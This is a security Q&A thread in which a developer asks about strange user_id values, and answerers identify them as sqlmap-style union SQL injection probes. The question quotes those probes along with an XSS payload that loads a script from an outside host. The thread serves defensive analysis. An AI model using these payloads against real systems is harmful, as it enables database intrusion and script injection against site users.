I was looking through some data in our database when I came across a bunch of weird user_id entries:

-1080) ORDER BY 1#
-1149 UNION ALL SELECT 79,79,79,79,79,79,79,79,79#
-1359' UNION ALL SELECT 79,79,79,79,79,79,79,79,79,79-- JwSh
-1409' ORDER BY 2678#
-1480' UNION ALL SELECT 79,79,79#
-1675 UNION ALL SELECT 79,79,79#
-1760 UNION ALL SELECT 79,79,79,79,79,79,79-- znFh
-1817 UNION ALL SELECT 79,79,79,79,79,79#
-1841 UNION ALL SELECT 79,79,79,79,79,79,79,79,79-- WiHF
-2265) UNION ALL SELECT 79,79,79,79,79,79#
-2365 UNION ALL SELECT 79,79,79,79,79,79,79#
-2387%' UNION ALL SELECT 79,79,79,79,79-- PHug
-2535') UNION ALL SELECT 79,79,79,79,79,79#
-2670%' ORDER BY 1#
-2847 ORDER BY 2974-- vCjk
-2922%' UNION ALL SELECT 79,79,79-- PgNW
-3097%' UNION ALL SELECT 79,79,79,79,79,79,79-- vJzG
-3675 UNION ALL SELECT 79,79,79#

It doesn't seem like anything malicious is being attempted, so part of me thinks this might have been caused by some sort of bug, but then again it is rather suspicious to see SQL inside data entries.

What could it be trying to do?

Here are a few more examples I found which may be interesting:

"><script src=http://xs7x.win/yRjYja></script>JSON #36*
"><script src=http://xs7x.win/yRjYja></script>JSON #98*
(SELECT CONCAT(0x717a627071,(SELECT (ELT(2849=2849,1))),0x716b627871))
  • 10
    By definition, it is a SQL injection. The user_id, I assume, should hold an integer value, but it doesn't. Something has injected some data into a query that shouldn't be there since it's holding a string, not integer now.
    – hd.
    Commented Sep 29, 2017 at 13:24
  • 13
    Don't think that's a valid assumption - it's quite common for user_id columns to hold GUIDs or even what people might normally assume to be usernames. Not enough context to state definitely here.
    – Matthew
    Commented Sep 29, 2017 at 14:24
  • 13
    If it's supposed to be a GUID, why are you storing them as strings? PostgreSQL has the dedicated UUID type. Also, why isn't your app rejecting anything not in a well known GUID/UUID format? Seems like you have at least bugs in the validation code that accepts incoming data.
    – jpmc26
    Commented Sep 29, 2017 at 22:28
  • 6
    It is an attempt to perform an SQL injection. You have some website where I can enter a username and password, and someone entered these weird usernames to try to perform an SQL injection. Apparently your website is not vulnerable, so it recorded these weird usernames as legitimate usernames. Which is from your application's point of view absolutely fine. If I registered with the username "-1080) ORDER BY 1#" then this will work just fine on your site.
    – gnasher729
    Commented Sep 30, 2017 at 23:35
  • 2
    Any ideas what the random letters as comments (eg, -- vJzG) are about? Commented Oct 2, 2017 at 1:03

3 Answers 3


Have a look at "Union Injection" SQL attacks such as found here.

Basically, it's trying various methods to identify the number of columns in the query, looking for one which is successful. The order by lines attempt to detect the difference between data ordered by specific columns and an error caused by attempting to order by a non-existent column, while the select ones are trying to get a valid UNION command to work - this only works when the two queries being combined in a union have the same number of columns.

From the random letters at the end of some of the lines, it's likely to be someone running the sqlmap tool against your form, but the fact that you found them in your database is a good thing - it suggests that the attempt failed, although it's possible that these are just failed parts of a successful attack.

  • Except that this is either an update or an insert statement, not a select. We know because we find the user_id entries in our database. (Of course its not a given that the attacker knows this - he might just be pusing the data into a convenient field on the form)
    – Taemyr
    Commented Sep 30, 2017 at 7:17
  • 5
    Sometimes an attacker doesn't realise there are multiple side-effects of a particular entry point. e.g. they may inject into a search box, expecting it only affects the results they receive, but if the results are logged somewhere, then they may accidentally break the 'INSERT' clause as well. And potentially cause an error when an admin loads the 'logs' page (also a very powerful avenue of attack)
    – JeffUK
    Commented Oct 2, 2017 at 13:30
  • Great answer! I would add though, that if the user ID is supposed to be numeric, then the fact that you can insert strings is not good. Not dangerous per se, but a bit sloppy. Also, should users really be able to pick their own ID? And if this is not in the user table, shouldn't there be a foreign key contstraing limiting values to existing users?
    – Anders
    Commented Oct 3, 2017 at 7:30

This is the result of someone trying to exploit an SQL injection on your site. Someone tried to detect if your website was vulnerable to a union-based injection. For all the records that you see, it doesn't seem to have worked.

You should check your access and error-logs for the affected timespan to see if any further requests were made.

One suspicious thing I noticed is that I don't see any entries containing double quotation marks (") which might indicate that they broke the functionality of the site or an injection using double quotation marks worked against your site.

You might want to check the relevant source code to see if proper sanitization of parameter values was done. This could also be explained if some other part of your setup blocked requests with double-quotation marks or injections with them were just not attempted.

  • How would this attack have worked when directed against an insert or an update statement? I get trying to inject an order by clause or a union into a select statement, but the outcome does not seem to be meaningful for a insert. I suppose union might cause noticable timing differences for an update.
    – Taemyr
    Commented Sep 30, 2017 at 7:20
  • 2
    I imagine that if the attack worked, it would insert the union values in place of actual fields. Those fields can later be exposed in various ways (e.g. you might use a username as part of an url for a profile picture, or you may throw an error "Unknown role 79". The attacker, knowing that this is a possibility can then alter the query to expose critical information through that field (e.g. the password hash of the first user, or attempt semi-blind guessing of the password of the database user.) They might not even require anything sensible to happen if they can upload a file through sql.
    – Sumurai8
    Commented Sep 30, 2017 at 9:00
  • 1
    See my answer about such scenarios. They exist, I have seen them!
    – mvds
    Commented Sep 30, 2017 at 16:43
  • Double quotes not existing is probably simply because double quotes are only used for identifiers, if anything. It wouldn't make sense to use them in SQL injection.
    – Kat
    Commented Oct 3, 2017 at 19:38

In addition to the good answers already given, stating that these are probably signs of unsuccessful attempts, I would like to add that these user ids may be part of a more elaborate successful injection.

This is not purely theoretical. I have encountered situations where the results of one select query are used without proper input validation in a second query. The developer might only validate direct user input and (wrongly) assume that anything coming from the database is safe. So up until storing these user id values, nothing is wrong, but in subsequent queries the magic happens. Especially dangerous are integer fields turning into strings, as integers are often used without escaping or quotes.

Side note: it is very effective to log/notify each and every failing query, as it is almost impossible to do an injection on an unknown system without triggering at least some errors. Apart from this, no query should ever fail (as in: syntax error) in a production system.

  • 7
    Lacking "proper input invalidation" on content read back from the database is not enough to get one into this kind of trouble -- one also needs to be ignoring the cardinal rule to never, never generate SQL queries through string concatenation. Commented Oct 1, 2017 at 15:12
  • 1
    @CharlesDuffy Isn't it allowed to generate parameterized queries through string concatenation? How would you generate a parameterized SQL query with an IN clause with varying number of valid values then?
    – Alexander
    Commented Oct 2, 2017 at 1:13
  • @Alexander If they're all constants, that's OK. However, if there's a variable anywhere then no. A query of 5000003 characters is probably a bad idea.
    – wizzwizz4
    Commented Oct 2, 2017 at 7:07
  • 9
    I don't see the point of having this discussion here. But I would like to emphasize that no "cardinal SQL rule" will always save you if you trust content coming from a database. The world is bigger than SQL: the content may be used in various other (non-parameterized) contexts, each with their own quoting/escaping requirements. The primary rule should be to not trust content coming from the database, and treat it like user input.
    – mvds
    Commented Oct 2, 2017 at 7:55
  • 2
    This is good advice, multi-step attacks are more vicious but few people consider them. Commented Oct 2, 2017 at 9:07

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .